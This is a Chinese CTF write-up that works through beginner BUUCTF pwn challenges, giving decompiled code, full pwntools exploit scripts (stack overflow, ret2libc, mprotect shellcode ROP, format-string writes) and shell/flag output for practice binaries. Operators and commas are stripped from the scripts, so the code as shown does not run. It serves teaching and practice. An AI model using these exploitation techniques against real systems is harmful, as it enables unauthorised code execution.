pawn回暖状态：今天你pwn了吗上
pawn回暖状态：今天你pwn了吗上from pwn import * #p=process("./pwn1") p=remote("node3.buuoj.cn" 29153) #gdb.attach(p) #p.recvuntil("please input\n") payload="a"*0xf p64(0xdeadbeef) p64(0x401187) p.sendline(payload) p.interactive()$ python pwn1.py [ ] Opening connection to node3.buuoj.cn on port 29153: Done [*] Switching to interactive mode $ cat flag flag{cdaa1381-ef92-4910-be96-225d3ad273c0}war
作者：紫色仰望合天智汇
前言：
"二进制太难了" 一起到 buu 开始 刷题吧。这里 仅记录 下 非高分题目的 解题思路和 知识讲解。特别是文章里的函数，我特意整理了下，还请好好学习下。
test_your_nc 18.04
64位的elf 程序，一运行就拿到shell了。
int __cdecl main(int argc const char **argv const char **envp)
{
system("/bin/sh");
return 0;
}gdb:
► 0x555555555140 <main 11> call system@plt <0x555555555030>
rdi command: 0x555555556004 ◂— 0x68732f6e69622f /* '/bin/sh' */
nc 连接下远程，即可拿到 flag。
$ nc node3.buuoj.cn 27279
cat flag
flag{b710e4ab-0c62-456a-a699-2744d59fd65c}
rip
在pwn 中，控制了rip 就控制了世界。 64位程序 拖入ida：
int __cdecl main(int argc const char **argv const char **envp)
{
char s; // [rsp 1h] [rbp-Fh]
puts("please input");
gets(&s argv);
puts(&s);
puts("ok bye!!!");
return 0;
}
int fun() //0x401186
{
return system("/bin/sh");
}
如果我们将 main函数的retrun 地址处 给覆盖成 0x401186，那么在程序执行到 return的时候，rip 就会被赋值给 0x401186，于是就紧接着执行 后门函数 fun()从而拿到shell。 这里就简单 看下 gets函数吧。
函数原型：
# include <stdio.h>
char *gets(char *str);
功能：从输入缓冲区中读取一个字符串存储到字符指针变量 str 所指向的内存空间。
注意：使用 gets() 时，系统会将最后“敲”的换行符从缓冲区中取出来，然后丢弃，
所以缓冲区中不会遗留换行符。也意味着函数以 "\n"截断输入。
所以 这题我们可以输入任意字节数据， s的偏移 为 rbp-Fh 于是我们构造payload "a"*0xf p64(0xdeadbeef) p64(0x401187) #0x401186的有点问题，于是加1。
我们写下 以下 exp拿得 flag：
from pwn import *
#p=process("./pwn1")
p=remote("node3.buuoj.cn" 29153)
#gdb.attach(p)
#p.recvuntil("please input\n")
payload="a"*0xf p64(0xdeadbeef) p64(0x401187)
p.sendline(payload)
p.interactive()$ python pwn1.py
[ ] Opening connection to node3.buuoj.cn on port 29153: Done
[*] Switching to interactive mode
$ cat flag
flag{cdaa1381-ef92-4910-be96-225d3ad273c0}
warmup_csaw_2016
和上题几乎一样，64位elf程序 且 有栈溢出 漏洞，有后门函数。
__int64 __fastcall main(__int64 a1 char **a2 char **a3)
{
char s; // [rsp 0h] [rbp-80h]
char v5; // [rsp 40h] [rbp-40h]
write(1 "-Warm Up-\n" 0xAuLL);
write(1 "WOW:" 4uLL);
sprintf(&s "%p\n" sub_40060D);
write(1 &s 9uLL);
write(1 ">" 1uLL);
return gets(&v5 ">");
}
int sub_40060D() //0x40060D
{
return system("cat flag.txt");
}
v5的偏移 为 rbp-40h， 和上题的思路一样，我们写出下面 exp:
from pwn import *
#p=process("./warmup_csaw_2016")
p=remote("node3.buuoj.cn" 27848)
#gdb.attach(p)
p.recvuntil(">")
payload="a"*0x40 p64(0xdeadbeef) p64(0x40060D 1)
p.sendline(payload)
p.interactive()
拿到 flag:
$ python warmup_csaw_2016.py
[ ] Opening connection to node3.buuoj.cn on port 27848: Done
[*] Switching to interactive mode
flag{04d5cb5e-638b-4783-ba2b-097f6224f1ea}
pwn1_sctf_2016
32位的c 写的程序 这里我们首先简单看下 C 中的两个 函数：
fgets
函数原型：char * fgets ( char * str int num FILE * stream );
函数功能：
从流中读取字符，并将它们作为C字符串存储到str中，直到已读取（num-1）个字符或到达换行符或到达文件末尾（以先发生的为准）。
换行符使fgets停止读取，但是该函数将其视为有效字符并包含在复制到str的字符串中。
复制到str的字符后会自动附加一个终止的空字符。
请注意，fgets与gets完全不同：fgets不仅接受流参数，而且还允许指定str的最大大小，并在字符串中包括任何结尾的换行符。
std:replace
https://blog.csdn.net/jiary5201314/article/details/52502516
函数原型：
template <class ForwardIterator class T>
void replace (ForwardIterator first ForwardIterator last
const T& old_value const T& new_value);
函数功能：
替换范围内的值
将new_value分配给[first，last)范围内所有等于old_value的元素。
该函数使用"operator ==" 将各个元素与old_value进行比较。
该功能模板的行为等效于：
template <class ForwardIterator class T>
void replace (ForwardIterator first ForwardIterator last
const T& old_value const T& new_value)
{
while (first!=last) {
if (*first == old_value) *first=new_value;
first;
}
}
参数再介绍：
first last：将迭代器转发到元素序列中的初始位置和最终位置，这些元素支持比较并分配为T类型的值。
使用的范围是[first，last），其中包含first和last之间的所有元素，包括由指向的元素 首先但不是最后指出的元素。
old_value：要替换的值。
new_value：新的值
可以暂时粗略地地这样记下： replace (first last old_value new_value);
std::string::operator=(&input &s);
作用： 就是 将s指针赋值到 inputs地址里了。 //我真是太懒了。
strcpy:
函数原型：char * strcpy ( char * destination const char * source );
函数功能：
将source指向的C字符串复制到destination指向的数组中，包括终止的空字符（并在该位置停止）。
为避免溢出，目标指向的数组的大小应足够长，以包含与源相同的C字符串（包括终止空字符），并且在内存中不应与源重叠。
ida：
int vuln()
{
const char *v0; // eax
char s; // [esp 1Ch] [ebp-3Ch]
char v3; // [esp 3Ch] [ebp-1Ch]
char v4; // [esp 40h] [ebp-18h]
char v5; // [esp 47h] [ebp-11h]
char v6; // [esp 48h] [ebp-10h]
char v7; // [esp 4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s 32 edata);
std::string::operator=((int)&input (int)&s); // 将s_addr复制到input_addr中
// 即 执行后 input_addr地址里存的内容是 s_addr 地址
std::allocator<char>::allocator(&v5); // 给v5申请内存
std::string::string(&v4 "you" &v5); // v4被赋值 成了" you" v5不变
std::allocator<char>::allocator(&v7); // 给v5申请内存
std::string::string(&v6 "I" &v7); // v6被赋值 成了" I" v7不变
replace((std::string *)&v3);
std::string::operator=(&input &v3 &v6 &v4);// 这里 ida 反编译的有些毛病
// 正常的话 19和20行应该是下面的样子：
// replace (v3，&inputs "I" "you");
//
// replace后存在 inputs里
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);// 获取C字符串等效返回一个数组的指针，该数组包含一个以null结尾的字符序列
// (即表示字符串对象的当前值。该数组包含组成字符串对象的值的相同字符序列，并在末尾附加一个终止空字符('\0')。
strcpy(&s v0); //栈溢出漏洞
return printf("So %s\n" &s);
}
int get_flag() //0x08048F0D
{
return system("cat flag.txt");
}
觉得这题是C 程序，因本垃圾对C 的 接触程度 简直是个无基础，去查了下 相关的函数，所以这题整体来说 还是一个 很简单的 题。
栈溢出 漏洞，且存在 后门函数 即get_flag。 程序的流程 其实 是 我们输入字符串有字节限制：32，并且将字符串中的 "I"变成"you" 然后变之后的 字符串再存在&s处，偏移是 ebp-3Ch。
具体大家看 上面分析和注释就好了。 0x3c加上ebp的四字节，retaddr的4字节，需要0x3c 4 4等于68字节
我们输入 21个"I"的话就相当于 已经输入 63字节，然后补上一个字节，再补上后门地址，我们刚刚好输入的字节少于 32。满足要求。
写出的exp如下：
from pwn import *
context.log_level = 'debug'
p=process("./pwn1_sctf_2016")
p=remote("node3.buuoj.cn" 28977)
#p.recvuntil("Tell me something about yourself: ")
payload="I"*21 "a" p32(0x08048F0D)
p.sendline(payload)
p.interactive()
拿到 flag.txt
$ python pwn1_sctf_2016.py
[ ] Starting local process './pwn1_sctf_2016': pid 2148
[ ] Opening connection to node3.buuoj.cn on port 28977: Done
[DEBUG] Sent 0x1b bytes:
00000000 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 │IIII│IIII│IIII│IIII│
00000010 49 49 49 49 49 61 0d 8f 04 08 0a │IIII│Ia··│···│
0000001b
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
'flag{41400e92-b944-453c-aef3-7a266312708a}\n'
ciscn_2019_n_1
64位elf 程序：
ida：
int func()
{
int result; // eax
char v1; // [rsp 0h] [rbp-30h]
float v2; // [rsp 2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
gets函数 可导致栈溢出，如果要pwn到这个程序 我们仅需将 v2 处 覆盖为 11.28125，即可拿到 flag 程序中已经有了 11.28125 在 内存中存储的 是 41348000h，大家有兴趣可以去搜索下，是如何转换的。 于是我们写以下 exp：
from pwn import *
#context.log_level = 'debug'
#p=process("./ciscn_2019_n_1")
p=remote("node3.buuoj.cn" 27678)
#p.recvuntil("Tell me something about yourself: ")
payload="I"*(0x30-0x4) p32(0x41348000)
p.sendline(payload)
p.interactive()
可以拿到 flag
$ python ciscn_2019_n_1.py
[ ] Opening connection to node3.buuoj.cn on port 27678: Done
[*] Switching to interactive mode
Let's guess the number.
flag{df573e25-a3c0-4749-a60d-a3fd5797d0ab}
其实 还可以 将func的返回地址 给后门函数 也很简单。就不写了。
ciscn_2019_c_1
64位elf程序，我们直接看ida 好了。 ida:
int __cdecl main(int argc const char **argv const char **envp)
{
int v4; // [rsp Ch] [rbp-4h]
init();
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin(); // puts("====================================================================");
// puts("1.Encrypt");
// puts("2.Decrypt");
// puts("3.Exit");
// return puts("Input your choice!");
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d" &v4); // 十进制输入
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
int encrypt()
{
size_t v0; // rbx
char input[48]; // [rsp 0h] [rbp-50h]
__int16 v3; // [rsp 30h] [rbp-20h]
memset(input 0 sizeof(input));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(input); // 栈溢出漏洞
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(input) )
break;
if ( input[x] <= 96 || input[x] > 'z' ) // 不属于[a-z] input[x]^13
{
if ( input[x] <= 64 || input[x] > 'Z' ) // 不属于[A-Z] input[x]^14
{
if ( input[x] > 47 && input[x] <= '9' ) // [0-9] input[x]^15
input[x] ^= 15u;
}
else
{
input[x] ^= 14u;
}
}
else
{
input[x] ^= 13u;
}
x;
}
puts("Ciphertext");
return puts(input);
}
很简单的 栈溢出题。这题没有给libc，而buu上的环境是 18.04.我这里使用 LibcSearcher 找出的libc，真的很好用。 然后这题的encrypt函数中 会把我们的输入做异或处理，（见上面注释）我以为 的输入内容会 很大程度上 改变我们输入的 变化甚至输入的长度，特别是觉得会导致 最后 覆盖 ret_addr上 数据 因异或处理而 没有了作用。但又看了下源码，并不会。因为 这题最多 只对 48字节做了异或处理。就不再担心了。
如果 对我们的输入的所有数据都做异或的 话，也是有办法 解决的。 因为根据异或的特性，二次异或后 就还是 原 数据了。即输入前可让我们的payload先经一次异或处理再传入。 大家可以看下这个文章：
https://darkwing.moe/2019/11/26/ciscn-2019-c-1/def dd(enc):
res = ''
for i in range(len(enc)):
if ord(enc[i]) <= 96 or ord(enc[i]) > 122:
if ord(enc[i]) <= 64 or ord(enc[i]) > 90:
if ord(enc[i]) > 47 or ord(enc[i]) <= 57:
res = chr(ord(enc[i]) ^ 0xf)
else:
res = chr(ord(enc[i]) ^ 0xe)
else:
res = chr(ord(enc[i]) ^ 0xd)
return res
下面是我写的 exp：
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p=process("./ciscn_2019_c_1")
p=remote("node3.buuoj.cn" 25495)
elf=ELF("./ciscn_2019_c_1")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=0x400790
pop_rdi_ret=0x400c83
payload="a"*0x50 "a"*0x8 p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(start_addr)
p.sendlineafter("Input your choice!\n" "1")
p.sendlineafter("Input your Plaintext to be encrypted\n" payload)
p.recvuntil('@')
p.recvline()
puts_addr=u64(p.recv(6).ljust(8 '\x00'))
print "puts_addr is " hex(puts_addr)
libc=LibcSearcher("puts" puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base libc.dump("system")
str_bin_sh=libc_base libc.dump("str_bin_sh")
print "libc_base is " hex(libc_base)
print "system_addr is " hex(system_addr)
print "str_bin_sh is " hex(str_bin_sh)
ret_addr=0x4006b9
payload="a"*0x50 "a"*0x8 p64(pop_rdi_ret) p64(str_bin_sh) p64(system_addr)
payload="a"*0x50 "a"*0x8 p64(ret_addr) p64(pop_rdi_ret) p64(str_bin_sh) p64(system_addr)
p.sendlineafter("Input your choice!\n" "1")
p.sendlineafter("Input your Plaintext to be encrypted\n" payload)
p.interactive()
另外 在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客
http://blog.eonew.cn/archives/958
"自己跟进去的话，能够看到确实是栈没对齐，那很简单，多加个ret对齐，再找个ret的gadget就可以." 这里我就没有跟了，直接 加了ret 。顺利拿到flag。
[OGeek2019]babyrop
在看这题之前 我们来简单看下几个C函数：
strlen()
函数原型：size_t strlen ( const char * str );
函数功能：
返回C字符串str的长度。
C字符串的长度由终止的空字符确定：C字符串的长度与字符串开头和终止的空字符之间的字符数一样长（不包括终止的空字符本身）。
strncmp()
函数原型：int strncmp ( const char * str1 const char * str2 size_t num );
函数功能：
比较两个字符串的字符，比较C字符串str1的num字符和C字符串str2的num字符。
这个函数开始比较每个字符串的第一个字符。如果它们彼此相等，则继续执行以下操作，
直到字符不同为止，直到到达一个终止的空字符，或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)。
然后 分析下程序流程，看ida：
int __cdecl main()
{
int buf; // [esp 4h] [ebp-14h]
char v2; // [esp Bh] [ebp-Dh]
int fd; // [esp Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom" 0);
if ( fd > 0 )
read(fd &buf 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
*******************************************************************
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp Ch] [ebp-4Ch]
char buf[7]; // [esp 2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp 33h] [ebp-25h]
ssize_t v6; // [esp 4Ch] [ebp-Ch]
memset(&s 0 0x20u);
memset(buf 0 0x20u);
sprintf(&s "%ld" a1);
v6 = read(0 buf 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf &s v1) )
exit(0);
write(1 "Correct\n" 8u);
return v5;
}
**************************************************************
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp 11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0 &buf 0xC8u);
else
result = read(0 &buf a1);
return result;
}
即首先 我们取出 一个随机数 作为参数 a1传入 sub_804871F函数处理。
sub_804871F函数是将我们的输入 buf 给 那个随机数 a1做比较，比较的字节数是buf的的strlen 长度。 但经过上面我们的介绍，strlen 遇到 \x00便停止函数执行。从而去绕过 strncmp 函数。
而 sub_804871F函数 中的v5是最后的返回值，而这个v5 我们可以通过v6 = read(0 buf 0x20u); 这里去 覆盖 v5的值。 我们把它覆盖很大 就好了。
在最后的 sub_80487D0 函数中，我们可通过 上面覆盖的 v5 作为read的第三个参数，从而有栈溢出漏洞。 通过write 去泄露libc 然后得到system 和 /bin/sh 从而去getshell。
于是我写出以下 exp：
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#p=process("./babyrop")
p=remote("node3.buuoj.cn" 29981)
elf=ELF("./babyrop")
#gdb.attach(p)
payload="\x00\x00\x00\x00" "a"*(0x2c-0x25-0x4) "\xff"
p.sendline(payload)
p.recvuntil("Correct\n")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x08048825
payload="a"*0xE7 p32(0xdeadbeef) p32(write_plt) p32(main_addr) p32(1) p32(write_got) p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
print "write_addr is " hex(write_addr)
libc=LibcSearcher("write" write_addr)
libc_base=write_addr-libc.dump("write")
system_addr=libc_base libc.dump("system")
str_bin_sh=libc_base libc.dump("str_bin_sh")
print "libc_base is " hex(libc_base)
print "system_addr is " hex(system_addr)
print "str_bin_sh is " hex(str_bin_sh)
payload="\x00\x00\x00\x00" "a"*(0x2c-0x25-0x4) "\xff"
p.sendline(payload)
p.recvuntil("Correct\n")
payload="a"*0xE7 p32(0xdeadbeef) p32(system_addr) p32(main_addr) p32(str_bin_sh)
p.sendline(payload)
p.interactive()
拿到flag：
$ python babyrop.py
[ ] Opening connection to node3.buuoj.cn on port 29981: Done
[*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/[OGeek2019]babyrop/babyrop'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
write_addr is 0xf7e853c0
[ ] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
libc_base is 0xf7db1000
system_addr is 0xf7deb940
str_bin_sh is 0xf7f0a02b
[*] Switching to interactive mode
$ cat flag
flag{543be984-c4bd-48ac-94a4-f5fadc41bd05}
ciscn_2019_en_2
额，这题，简单看一下和上面那题 ciscn_2019_c_1 好像一样，跑了下上面的 exp 也能跑通，就不记录了。
get_started_3dsctf_2016
这题仍然程序很小，开启了NX保护的32位的elf程序： 查询保护：
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
其实还是 挺麻烦的，如果 要拿到远程的 flag的话。 ida：
int __cdecl main(int argc const char **argv const char **envp)
{
char v4; // [esp 4h] [ebp-38h]
printf("Qual a palavrinha magica? " v4);
gets(&v4); //gets 栈溢出漏洞。
return 0;
}
void __cdecl get_flag(int a1 int a2) //0x080489A0
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
{
v2 = fopen("flag.txt" "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
gets 使得我们可以输入任意字节数据。我们把ret_addr处 给覆盖为 后门函数 get_flag(a1 a2)的地址0x080489A0 ，但 这个后门函数的两个参数 必须分别是 0x308CD64F 和 0x195719D1才可拿到 flag。
exp如下:
from pwn import *
from LibcSearcher import *
#context.log_level="debug"
p=process("./get_started_3dsctf_2016")
#p=remote("node3.buuoj.cn" "26350")
#gdb.attach(p)
payload="a"*0x38 p32(0x080489A0) p32(0xdeadbeef) p32(0x308CD64F) p32(0x195719D1)
p.sendline(payload)
p.interactive()
本地可以成功拿到flag.txt
$ python get_started_3dsctf_2016.py
[ ] Starting local process './get_started_3dsctf_2016': pid 7833
[*] Switching to interactive mode
Qual a palavrinha magica? flag{shimutouna}
[*] Got EOF while reading in interactive
但远程却不可以，报如下错
$ python get_started_3dsctf_2016.py
[ ] Starting local process './get_started_3dsctf_2016': pid 7845
[ ] Opening connection to node3.buuoj.cn on port 26350: Done
[*] Switching to interactive mode
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
我们 去想下 第二种 做法： 在这之前我们 去 了解下 mprotect函数：
mprotect
函数原型：int mprotect(void *addr size_t len int prot);
//addr 内存启始地址
//len 修改内存的长度
//prot 内存的权限
函数作用：将以addr开始的内存 到 addr len的内存的权限给设置为 prot （rwx）
我们通过 vmmap命令可查看到：0x80ea000 -0x80ec000的内存是 可读可写，我们通过 mprotect函数 让它也可执行。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x80ea000 r-xp a2000 0 /home/yangmutou/桌面/buuctf/100/get_started_3dsctf_2016
0x80ea000 0x80ec000 rw-p 2000 a1000 /home/yangmutou/桌面/buuctf/100/get_started_3dsctf_2016
0x80ec000 0x810f000 rw-p 23000 0 [heap]
0xf7ff9000 0xf7ffc000 r--p 3000 0 [vvar]
0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso]
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]
pwndbg>
因为开启了NX，我们 不可以再栈中去传入 shellcode去执行了，但我们在ida 的函数栏可以看到 函数栏中 有 mprotect。 于是 我们可以通过 修改 某段内存为 可读可写可执行的 权限，我们 通过rop的方式向 那个内存写入shell ，最后在控制程序执行到那里 便可以 去执行 shellcode了 我们重新编写 exp：
from pwn import *
from LibcSearcher import *
#context.log_level="debug"
#p=process("./get_started_3dsctf_2016")
elf=ELF("./get_started_3dsctf_2016")
p=remote("node3.buuoj.cn" "26350")
#gdb.attach(p)
ret_addr=0x08048196
mprotect_addr=elf.sym["mprotect"]
read_plt=elf.sym["read"]
pop_3_ret=0x08063adb
m_start= 0x80ea000 #vmmap
len=0x2000
prot=4 2 1 #(rwx)
#ropper --file get_started_3dsctf_2016 --search "pop|ret"
'''
0x08063adb: pop edi; pop esi; pop ebx; ret;
'''
payload_1="a"*0x38 p32(mprotect_addr) p32(pop_3_ret) p32(m_start) p32(len) p32(prot) #mprotect(m_start len 7);
payload_1 =p32(read_plt) p32(pop_3_ret) p32(0) p32(m_start) p32(0x100)#read(0 m_start 100)
payload_1 =p32(m_start)
p.sendline(payload_1)
payload_2=asm(shellcraft.sh() arch = 'i386' os = 'linux')# shellcode len is 40
p.sendline(payload_2)
p.interactive()
成功拿下远程 flag：
$ python get_started_3dsctf_2016_2.py
[ ] Starting local process './get_started_3dsctf_2016': pid 8941
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[ ] Opening connection to node3.buuoj.cn on port 26350: Done
[*] Switching to interactive mode
$ cat flag
flag{6a6589e9-0641-44f9-a32c-50c713d33797}
ciscn_2019_n_8
32位elf程序保护全开。 看下程序流程：
int __cdecl main(int argc const char **argv const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf((int)"%s" (int)var v4 v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d"
var[0]
var[1]
var[2]
var[3]
var[4]
var[5]
var[6]
var[7]
var[8]
var[9]
var[10]
var[11]
var[12]
var[13]
var[14]);
}
else
{
printf("%s Welcome!\n" var);
puts("Try do something~");
}
return 0;
}
这题发现 我们的输入数据存在了 int var[15]的数组里，而当 var[13] ==17时就可以拿到shell了。 放了截图好了就。
[第五空间2019 决赛]PWN5
此题为32位elf程序： 拖入ida：
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp 4h] [ebp-80h]
char buf; // [esp 14h] [ebp-70h]
unsigned int v8; // [esp 78h] [ebp-Ch]
int *v9; // [esp 7Ch] [ebp-8h]
v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout 0 2 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom" 0);
read(fd &unk_804C044 4u);
printf("your name:");
read(0 &buf 0x63u);
printf("Hello ");
printf(&buf); // 格式化字符串漏洞
printf("your passwd:");
read(0 &nptr 15u);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}
我们可以看到 程序的流程为 将一个随机数存入 0x804C044地址上。 然后只要我们输入一个数 与0x804c044上的数据一致就可拿到flag。
而在 第 25行的 printf(&buf); 经典的 格式化字符串漏洞。可任意地址读写，我们通过%offsset$n 的的方式 任意写 使得 0x804C044地址上的数据 为 可控值。 经 动态可得 我们的输入 的偏移为 10，我们可构造以下payload
payload=p32(mubiao_addr) p32(mubiao_addr 1) p32(mubiao_addr 2) p32(mubiao_addr 3)
payload ="$hhn$hhn$hhn$hhn"
简单说明下，偏移为10的地址上存着 mubiao_addr，偏移为11的地址上存着 mubiao_addr 1，偏移为12的地址上存着 mubiao_addr 2，偏移为13的地址上存着 mubiao_addr 3，$hhn会将前面已经输出的字节(数0x10)写入到 偏移为10的地址上mubiao_addr种去，$hhn，$hhn，$hhn ，效果类似。 具体 格式化字符串漏洞学习 可在 ctfwiki上学习。
于是我们写出 以下 exp：
from pwn import *
#p=process("./pwn5")
p=remote("node3.buuoj.cn" 27842)
#gdb.attach(p)
#p.recvuntil("your name:")
offset=10
mubiao_addr=0x804C044 # elf:32
payload=p32(mubiao_addr) p32(mubiao_addr 1) p32(mubiao_addr 2) p32(mubiao_addr 3)
payload ="$hhn$hhn$hhn$hhn"
p.sendline(payload)
raw_input
p.sendline(str(269488144))#0x10101010->269488144
p.interactive()
成功getshell。
$ python pwn5.py
[ ] Opening connection to node3.buuoj.cn on port 27842: Done
[*] Switching to interactive mode
your name:Hello D�E�F�G�
your passwd:ok!!
$ cat flag
flag{e772f007-8d5e-4bef-8324-ee437868dbe9}
后记：
师傅们，今天你pwn 了!!!
相关推荐：
高级栈溢出技术—ROP实战（write4）
http://www.hetianlab.com/expc.do?ec=ECIDde51-4540-4672-a9b8-a4f1a0482414
声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！
